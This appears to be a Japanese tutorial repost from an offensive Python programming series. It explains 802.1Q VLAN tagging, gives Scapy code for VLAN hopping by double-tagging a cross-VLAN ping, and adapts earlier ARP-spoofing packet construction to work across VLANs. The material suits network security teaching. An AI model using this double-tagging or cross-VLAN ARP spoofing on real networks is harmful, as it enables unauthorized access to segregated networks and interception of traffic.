ホームページ  >  記事  >  バックエンド開発  >  VLAN 全体での Python ブラック ハット プログラミング 3.4

VLAN 全体での Python ブラック ハット プログラミング 3.4

高洛峰
高洛峰オリジナル
2017-02-24 15:29:011683ブラウズ

VLAN (仮想ローカル エリア ネットワーク) は、イーサネット インタラクション テクノロジーに基づいて構築された仮想ネットワークです。同じ物理ネットワークを複数の VALN に分割するだけでなく、物理ネットワークの障壁を越えて、異なるサブネット内のユーザーを同じ VLAN に割り当てることもできます。 VLAN。図 2 は VLAN 分割の例です。

Python黑帽编程 3.4 跨越VLAN

図 2

VLAN を実装するには、通常、スイッチング機器に基づく 2 種類の VLAN 分割があります。

l スイッチベースのポート分割

l IEEE 802.1q に基づく。プロトコル、拡張イーサネット フレーム形式

第 2 層の VLAN テクノロジーに基づいて、トランキングの概念があり、異なるスイッチ間を接続して、同じ VLAN のメンバーが複数のスイッチ間で通信できるようにします。お互い。スイッチ間の相互接続に使用されるポートはトランク ポートと呼ばれます。 80.2.1q に加えて、Cisco には ISL と呼ばれる独自のトランク プロトコルがあります。

Python黑帽编程 3.4 跨越VLAN

図 3

図 3 は 802.1q データ パケットであり、VLAN タグが追加されている点を除いて、通常のイーサネット フレームと本質的には変わりません。赤い部分の VLAN 識別子は、データ パケットがどの VLAN に属しているかを識別するため、データ ブロードキャストの範囲が VLAN にまたがらないことが保証されます。

それでは、VLAN を越えて通信したい場合、データ パケット内の識別子を変更するだけでよいのでしょうか?

3.4.1 VLAN ホッピング

上記の分析に基づいて、クロス VLAN ping、Vlan1 のホストから Vlan2 のホストに ping 要求を送信するという単純なシナリオを検討します。

具体的なコーディングの前に、VLAN パケット構築の問題を解決する必要があります。Scapy では、Dot1Q クラスを使用して図 3 のタグ部分を構築します。図 4 に示すように。

Python黑帽编程 3.4 跨越VLAN

図 4

これで、クロス VLAN ping リクエストを作成できるようになりました。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上記のコードでは、ターゲット ホストの MAC アドレスと IP アドレスを指定し、2 つの VLAN 識別子を追加します。1 つ目はデータを送信するホストが配置されている VLAN で、2 つ目は VLAN です。ターゲット ホストが存在する VLAN。スイッチは最初の識別子を削除し、2 番目の識別子を読み取ると、パケットをターゲット ホストに転送します。

3.4.2 VLAN をまたがる ARP スプーフィング

セクション 3.1、3.2、および 3.3 で ARP スプーフィングの問題について議論しています。VLAN はブロードキャスト ドメインを制限するため、前のコードは VLAN をまたいで実行できません。 ARP スプーフィング。ただし、この問題を解決するには、前に作成した ARP スプーフィング データに VLAN 識別子を挿入するだけで済みます。次のコードは、セクション 3.1 で ARP 要求パケットを構築するために使用したコードです。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

データ パケットの構築の部分で、VLAN 識別子を挿入します:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

このようにして、VLAN 間での ARP スプーフィングを実現できます。

3.4.3 概要

このセクションでは主に、VLAN 間データ通信と ARP スプーフィングの目的を達成するために、VLAN をスプーフィングするデータ パケットを構築する方法について説明します。この記事の方法は主に 802.1Q プロトコルを対象とし、ポートによって物理的に分離された VLAN には影響しないことに注意してください。

上記は、編集者が紹介した VLAN にわたる Python ブラックハット プログラミング 3.4 の詳細な説明です。ご質問があれば、メッセージを残してください。編集者が返信します。時間。また、PHP 中国語 Web サイトをサポートしていただきありがとうございます。

Python ブラック ハット プログラミング 3.4 クロス VLAN 関連記事をさらに詳しく知りたい場合は、PHP 中国語 Web サイトに注目してください。


声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。